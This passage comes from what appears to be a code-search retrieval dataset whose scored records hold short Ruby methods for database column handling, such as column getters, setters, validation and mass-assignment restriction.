"docid": "499d9a02ffa2bc83647fc999ffafd599",
"score": "0.59168094",
"text": "def columns\n unless defined?(@columns) && @columns\n @columns = connection.columns(table_name, \"#{name} Columns\").select do |column| \n column.name =~ Regexp.new(\"^#{self.to_s.underscore}__\") || column.name == primary_key\n end\n @columns.each { |column| column.primary = column.name == primary_key }\n end\n @columns\n end",
"title": ""
},
{
"docid": "345277075d600900e1ba54f1a094e9a0",
"score": "0.5914828",
"text": "def columns(*cs)\n if cs.empty?\n super\n else\n self.columns = cs\n self\n end\n end",
"title": ""
},
{
"docid": "89bb46b2157cf675a0b87120b315e2ed",
"score": "0.59078556",
"text": "def sql_for_columns; @sql_for_columns end",
"title": ""
},
{
"docid": "f52bfcf3fde072e6f0f26533eb23ad7b",
"score": "0.59060204",
"text": "def columns!\n @columns = nil\n columns\n end",
"title": ""
},
{
"docid": "a6f40d8180d9649b4113b1627f3e04d3",
"score": "0.5905818",
"text": "def column_names\n raise NotSupportedError\n end",
"title": ""
},
{
"docid": "3852052fe8e0ec2fe7a6304f1089ec9a",
"score": "0.5897558",
"text": "def column=(_); end",
"title": ""
},
{
"docid": "44364ee38742b3eb32b1900e777b21ef",
"score": "0.58916",
"text": "def columns\n self.class.instance_variable_get(:@columns)\n end",
"title": ""
},
{
"docid": "f3220568767858d775cc242444e72166",
"score": "0.5874829",
"text": "def columns\n @columns ||= []\n end",
"title": ""
},
{
"docid": "7d05417d656b5133a5fc395fbbc0ec1f",
"score": "0.5857774",
"text": "def columns\n @columns || self.class.columns\n end",
"title": ""
},
{
"docid": "5ad1b0c2e2a2836a3ae2a25ac30e699e",
"score": "0.5855463",
"text": "def valid_column_names\n all_valid_column_names = (self.respond_to?(:column_names) ? self.column_names : (self.respond_to?(:fields) ? self.fields.keys : []))\n all_valid_column_names - %w(created_at updated_at)\n end",
"title": ""
},
{
"docid": "86e6f97e919203f0173000e958cc2ae4",
"score": "0.5852967",
"text": "def columns\n @columns ||= ControllerAction.columns.map(&:name).map(&:to_sym).reject{|c|c==:id}\n end",
"title": ""
},
{
"docid": "8ce839134a9b146149b041a071b44db5",
"score": "0.5851869",
"text": "def setter_methods(only, except)\n only = only.nil? ? model.allowed_columns : only\n except = except.nil? ? model.restricted_columns : except\n if only\n only.map{|x| \"#{x}=\"}\n else\n meths = methods.collect{|x| x.to_s}.grep(/=\\z/) - RESTRICTED_SETTER_METHODS\n meths -= Array(primary_key).map{|x| \"#{x}=\"} if primary_key && model.restrict_primary_key?\n meths -= except.map{|x| \"#{x}=\"} if except\n meths\n end\n end",
"title": ""
},
{
"docid": "9ed49c69dd09c635cb93f63518c9e472",
"score": "0.58387727",
"text": "def respond_to_missing?(method_name, include_private = false)\n columns.include?(method_name.to_s) || super\n end",
"title": ""
},
{
"docid": "99d018f79fbaff984fcbe0ccfae1b4bf",
"score": "0.58365935",
"text": "def sanitize_columns!\n column_names = @db_connection.schema(@current_name, {:schema => @target_schema}).map{ |s| s[0].to_s }\n sanitize(column_names)\n end",
"title": ""
},
{
"docid": "c20a2a221556458f03f819bb2581f45f",
"score": "0.5835675",
"text": "def check_columns!\n if columns.nil? || columns.empty?\n raise Error, 'cannot literalize HashRow without columns'\n end\n end",
"title": ""
},
{
"docid": "2b0e4f4dd24457b08ce4a0149fbb8280",
"score": "0.58356255",
"text": "def publicly_accessible?\n @dbi.publicly_accessible\n end",
"title": ""
},
{
"docid": "2b0e4f4dd24457b08ce4a0149fbb8280",
"score": "0.58356255",
"text": "def publicly_accessible?\n @dbi.publicly_accessible\n end",
"title": ""
},
{
"docid": "faa1d5c49bc6a335ef29e65b83720668",
"score": "0.58300316",
"text": "def columns\n @columns\n end",
"title": ""
},
{
"docid": "faa1d5c49bc6a335ef29e65b83720668",
"score": "0.58300316",
"text": "def columns\n @columns\n end",
"title": ""
},
{
"docid": "8d00cff66da2d4999bacb28202000578",
"score": "0.5828223",
"text": "def valid_column?(column_name)\n column_name && self.class.sortable_attributes.include?(column_name)\n end",
"title": ""
},
{
"docid": "d8728aa6dd114e7a03a1d74ea0c8e887",
"score": "0.5820359",
"text": "def readable_columns\n readable_attributes.keys\n end",
"title": ""
},
{
"docid": "8bd92286eec9fc88476870afa3f302bf",
"score": "0.58172494",
"text": "def non_audited_columns\n @non_audited_columns ||= calculate_non_audited_columns\n end",
"title": ""
},
{
"docid": "b55743ddfb8143164b23156d18fd6246",
"score": "0.5812213",
"text": "def visible_columns\n @visible_columns ||= (request_columns.empty? ? columns : columns.select { |column| visible_column?(column) })\n end",
"title": ""
},
{
"docid": "312872b0a1c8edc1423422d7ac1440c3",
"score": "0.58090657",
"text": "def get_columns\n return @columns\n end",
"title": ""
},
{
"docid": "a8b67043c49155261ebd19a102135251",
"score": "0.57866704",
"text": "def set_columns_visible(value)\n self.write_attribute :columns_visible, value.to_json\n end",
"title": ""
},
{
"docid": "30d9ee12dd0fe393a2b7b5e51e1cad89",
"score": "0.57866406",
"text": "def column; end",
"title": ""
},
{
"docid": "30d9ee12dd0fe393a2b7b5e51e1cad89",
"score": "0.57866406",
"text": "def column; end",
"title": ""
},
{
"docid": "30d9ee12dd0fe393a2b7b5e51e1cad89",
"score": "0.57866406",
"text": "def column; end",
"title": ""
},
{
"docid": "30d9ee12dd0fe393a2b7b5e51e1cad89",
"score": "0.57866406",
"text": "def column; end",
"title": ""
},
{
"docid": "30d9ee12dd0fe393a2b7b5e51e1cad89",
"score": "0.57866406",
"text": "def column; end",
"title": ""
},
{
"docid": "30d9ee12dd0fe393a2b7b5e51e1cad89",
"score": "0.57866406",
"text": "def column; end",
"title": ""
},
{
"docid": "30d9ee12dd0fe393a2b7b5e51e1cad89",
"score": "0.57866406",
"text": "def column; end",
"title": ""
},
{
"docid": "520040bdbe4b8db56ad9e03c5fc9f84f",
"score": "0.5782301",
"text": "def is_column_editable?(col)\n editable?\n end",
"title": ""
},
{
"docid": "07c4b522d75e3fd61b19c1f77e85047d",
"score": "0.5774274",
"text": "def set_columns_changeable(value)\n self.write_attribute :columns_changeable, value.to_json\n end",
"title": ""
},
{
"docid": "21822ab19a24842495b78b9f288d8108",
"score": "0.5770158",
"text": "def set_columns_changeable(value)\n write_attribute :columns_changeable, value.to_json\n end",
"title": ""
},
{
"docid": "3931ee0a859cfe78996b833d17dd6311",
"score": "0.57630455",
"text": "def columns\n @columns ||= dataset.columns\n end",
"title": ""
},
{
"docid": "3931ee0a859cfe78996b833d17dd6311",
"score": "0.57630455",
"text": "def columns\n @columns ||= dataset.columns\n end",
"title": ""
},
{
"docid": "b635ea403f0bbc0b9e82a9e0de3516e8",
"score": "0.5761733",
"text": "def columns\n @columns ||= [];\n end",
"title": ""
},
{
"docid": "ca6591dfb1b24bd2c27c57d694e920b2",
"score": "0.5754881",
"text": "def supports_virtual_columns?\n false\n end",
"title": ""
},
{
"docid": "ca6591dfb1b24bd2c27c57d694e920b2",
"score": "0.5754881",
"text": "def supports_virtual_columns?\n false\n end",
"title": ""
},
{
"docid": "629deaeb984fc47769038075fdcd9cb2",
"score": "0.5748847",
"text": "def set_restricted(hash, type)\n return self if hash.empty?\n meths = setter_methods(type)\n strict = strict_param_setting\n hash.each do |k,v|\n m = \"#{k}=\"\n if meths.include?(m)\n set_column_value(m, v)\n elsif strict\n # Avoid using respond_to? or creating symbols from user input\n if public_methods.map(&:to_s).include?(m)\n if Array(model.primary_key).map(&:to_s).member?(k.to_s) && model.restrict_primary_key?\n raise MassAssignmentRestriction, \"#{k} is a restricted primary key\"\n else\n raise MassAssignmentRestriction, \"#{k} is a restricted column\"\n end\n else\n raise MassAssignmentRestriction, \"method #{m} doesn't exist\"\n end\n end\n end\n self\n end",
"title": ""
},
{
"docid": "629deaeb984fc47769038075fdcd9cb2",
"score": "0.5748847",
"text": "def set_restricted(hash, type)\n return self if hash.empty?\n meths = setter_methods(type)\n strict = strict_param_setting\n hash.each do |k,v|\n m = \"#{k}=\"\n if meths.include?(m)\n set_column_value(m, v)\n elsif strict\n # Avoid using respond_to? or creating symbols from user input\n if public_methods.map(&:to_s).include?(m)\n if Array(model.primary_key).map(&:to_s).member?(k.to_s) && model.restrict_primary_key?\n raise MassAssignmentRestriction, \"#{k} is a restricted primary key\"\n else\n raise MassAssignmentRestriction, \"#{k} is a restricted column\"\n end\n else\n raise MassAssignmentRestriction, \"method #{m} doesn't exist\"\n end\n end\n end\n self\n end",
"title": ""
},
{
"docid": "cc80d34f0975e71d4733331c8d126f64",
"score": "0.5745189",
"text": "def validate_columns\n columns.each do |name|\n if !column_available?(name)\n errors.add column_label_for(name), :inclusion\n end\n end if columns.present?\n end",
"title": ""
},
{
"docid": "27bf8eefdd6a857c88d77fc64bd5ced2",
"score": "0.57443106",
"text": "def columns\n super + [:extra_column]\n end",
"title": ""
},
{
"docid": "5ca685e36d3c1e7e93c5ad7f552faa86",
"score": "0.57426465",
"text": "def set_columns_visible(value)\n write_attribute :columns_visible, value.to_json\n end",
"title": ""
},
{
"docid": "b994fe1206b03119c6022be43114d191",
"score": "0.5742175",
"text": "def columns\n @columns\n end",
"title": ""
},
{
"docid": "64c92e708402120e7fae14125a9d6ac5",
"score": "0.57376844",
"text": "def importable_columns\n @column_names ||= self.class.spreadsheet_columns\n end",
"title": ""
},
{
"docid": "bff3232651558fa71fc0f4ec411dd7a2",
"score": "0.5734271",
"text": "def columns; @columns_hash.values; end",
"title": ""
},
{
"docid": "db4eb6a4034d448bf0137032bf355cc4",
"score": "0.5732166",
"text": "def user_columns\n case current_user.role\n # Admin\n when 0\n return [[\"activity_id\", \"true\"],[\"experiment_name\", \"true\"],[\"mee_lead\", \"true\"],[\"preferred_room\", \"true\"],[\"semester\", \"true\"]]\n # Academic\n when 2\n return [[\"activity_id\", \"true\"],[\"experiment_name\", \"true\"],[\"level\", \"true\"],[\"mee_lead\", \"true\"],[\"uni_module\", \"true\"],[\"module_lead\", \"true\"],[\"preferred_room\", \"true\"],[\"programmes\", \"true\"],[\"semester\", \"true\"]]\n # Technician\n when 1\n return [[\"activity_id\", \"true\"],[\"experiment_name\", \"true\"],[\"last_risk_assessment\", \"true\"],[\"mee_lead\", \"true\"],[\"preferred_room\", \"true\"],[\"semester\", \"true\"],[\"technician\", \"true\"]]\n end\n end",
"title": ""
},
{
"docid": "1ff507945e7a6b2fa0d770b2d1cc6fec",
"score": "0.5726569",
"text": "def sharded_column\n @sharded_column\n end",
"title": ""
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.